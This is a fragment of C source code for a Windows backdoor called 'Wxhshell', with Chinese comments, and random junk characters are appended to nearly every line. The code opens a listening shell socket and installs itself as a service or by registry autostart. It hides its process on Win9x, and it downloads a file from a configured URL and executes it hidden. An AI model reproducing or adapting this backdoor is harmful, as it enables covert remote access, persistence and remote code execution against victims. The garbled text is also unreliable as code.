} PROCESS_BASIC_INFORMATION; ?7wcv$K5
-V;Y4,:c
PROCNTQSIP NtQueryInformationProcess; ox`Zs2-a
ppn 8
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <QvVPE}z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RuYIG?J=/
}Fu1Y@M%
HANDLE hProcess; uMva5o
PROCESS_BASIC_INFORMATION pbi; ]/Nt
7xO05)bz
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s"#N;
if(NULL == hInst ) return 0; 4vi?9MPz
eE'>kP}
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -4+'(3qr
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4+>yL+sC%v
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bP-(N14x+
uQH]
if (!NtQueryInformationProcess) return 0; 0J/yd
V0{#q/q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D+;4|7s+
if(!hProcess) return 0; @&m]:GR
m-4#s
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'lE{Nj*7
TYD( 6N
CloseHandle(hProcess); !m:WoQ/
;"IWm<]h;-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uv[a
~'
if(hProcess==NULL) return 0; ($`IHKF1.l
_Ycz@Jn
HMODULE hMod; /9kxDbj
char procName[255]; XdThl
unsigned long cbNeeded; 7#+Ih-&EQ
M887 Q'HSi
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xh}q/H<
*JX$5bZsI
CloseHandle(hProcess); SujEF`"
N[O .p]8
if(strstr(procName,"services")) return 1; // 以服务启动 pD[&,gV$
H+I,c1sF
return 0; // 注册表启动 *A!M0TK?i,
} "2%R?
DZL(G [
// 主模块 ?;](;n#lU
int StartWxhshell(LPSTR lpCmdLine) !]s=9(O
{ En7+fQ
SOCKET wsl; yx`@f8Kr
BOOL val=TRUE; i#YDdz
int port=0; gNxv.6Pp=
struct sockaddr_in door; Q(N'Oj:J
vM5I2C3_>!
if(wscfg.ws_autoins) Install(); p&Nav,9x
+&"W:Le:
port=atoi(lpCmdLine); &u|t{C#0
j,].88H
if(port<=0) port=wscfg.ws_port; %LC)sSq{H
4N=,9
WSADATA data; wT+60X'
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YhglL!pC
l2W+VBn6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }`
`oojz
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PT,*KYF_O"
door.sin_family = AF_INET; ,e$RvFB
door.sin_addr.s_addr = inet_addr("127.0.0.1"); <hy!B4
door.sin_port = htons(port); 8bMw.u=F
m8L %!6o
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \4$Nx/@Q}
closesocket(wsl); 'p[6K'Uq5
return 1; l]DRJ
} oIOeX1$V
B> i^ w1
if(listen(wsl,2) == INVALID_SOCKET) { N%:uOX8{
closesocket(wsl); C`Vuw|Xl
return 1; |1ry*~
} W!8$:Ih_Z
Wxhshell(wsl); rA<J^dX=C
WSACleanup(); :FSg%IUX
:W&klUU"
return 0; GPAC0K^p
vr47PM2al
} (.oDxs()I
vQXF$/S
// 以NT服务方式启动 myXGMN$i
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *URY8a`bO
{ eWYet2!Q
DWORD status = 0; Brg0: 5H
DWORD specificError = 0xfffffff; ]lJ#|zd8o
>oy%qLHe~t
serviceStatus.dwServiceType = SERVICE_WIN32; )r A\+XT7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =#TQXm']Gi
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $+e(k~
serviceStatus.dwWin32ExitCode = 0; {3vm]
serviceStatus.dwServiceSpecificExitCode = 0; Rbm+V{EF&
serviceStatus.dwCheckPoint = 0; ')F@em
serviceStatus.dwWaitHint = 0; 0=`aXb-
z}5'TV=^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0_y&9Te
if (hServiceStatusHandle==0) return; PK?}hz
D0f7I:i1
status = GetLastError(); S#+ _HFUK{
if (status!=NO_ERROR) hhjsg?4uL
{ *X|%H-Q:H`
serviceStatus.dwCurrentState = SERVICE_STOPPED; Dh{P23}
serviceStatus.dwCheckPoint = 0; 5.0;xz}#y
serviceStatus.dwWaitHint = 0; g+.E=Ef8<4
serviceStatus.dwWin32ExitCode = status; aM[fag$c
serviceStatus.dwServiceSpecificExitCode = specificError; R'K /\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~c1~)QzZ
return; u_WW
uo
} NFIFCy!
}?{. 'Hv0
serviceStatus.dwCurrentState = SERVICE_RUNNING; \<%FZT_4~
serviceStatus.dwCheckPoint = 0;
&@7|_60
serviceStatus.dwWaitHint = 0; I GcR5/3
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^kB9
I8u
} 0Z%<H\Z
S!}pL8OE
// 处理NT服务事件,比如:启动、停止 Dhg/>@tw
VOID WINAPI NTServiceHandler(DWORD fdwControl) U8g?
{ q|D*H9[ke
switch(fdwControl) ;NJM3g0I
{ 0XIrEwm@%
case SERVICE_CONTROL_STOP:
gAi}"};
serviceStatus.dwWin32ExitCode = 0; r:^`005
serviceStatus.dwCurrentState = SERVICE_STOPPED; lgAE`Os
serviceStatus.dwCheckPoint = 0; W\DJXM]b
serviceStatus.dwWaitHint = 0; [iSLn3XXRX
{ x~yd/ R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [qt^gy)
} v#sx9$K T
return; ^T@-yys
case SERVICE_CONTROL_PAUSE: /_bM~g
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8>:2li
break; HoM8V"8B
case SERVICE_CONTROL_CONTINUE: VxAR,a1+n
serviceStatus.dwCurrentState = SERVICE_RUNNING; JY>I
break; P|)SXR
case SERVICE_CONTROL_INTERROGATE: Sag\wKV8
break; VHws9)
}; ]Otl(\v(h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \=~<I
} gwF@'Uu
w@f_TG"Vt
// 标准应用程序主函数 zjJyc?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WUi7~Ei}
{ %}&9[#
L'h'm{i
// 获取操作系统版本 {la^useg[
OsIsNt=GetOsVer(); R?\8SdJ
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0P53dF
BQ&h&57K
// 从命令行安装 /L[:C=u
if(strpbrk(lpCmdLine,"iI")) Install(); }`^<ZNkb/
` }Hnj*
// 下载执行文件 1$2Rs-J
if(wscfg.ws_downexe) { CUw
9aH
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1r w>gR
WinExec(wscfg.ws_filenam,SW_HIDE); qOa-@MN
} oq<#
Bp6Evi
if(!OsIsNt) { )'<zC
// 如果时win9x,隐藏进程并且设置为注册表启动 bm7$D Kp#
HideProc(); r*3XM{bZ/@
StartWxhshell(lpCmdLine); 'XQv> J
} DwTZ<H4
else p-/x Md
if(StartFromService()) pV-.r-P
// 以服务方式启动 qC|re!K
StartServiceCtrlDispatcher(DispatchTable); aA
yFu_
else ->#7_W
// 普通方式启动 @o^sp|k !
StartWxhshell(lpCmdLine); "|&*MjwN6
p0YTZS ]h
return 0; I~T?tm
}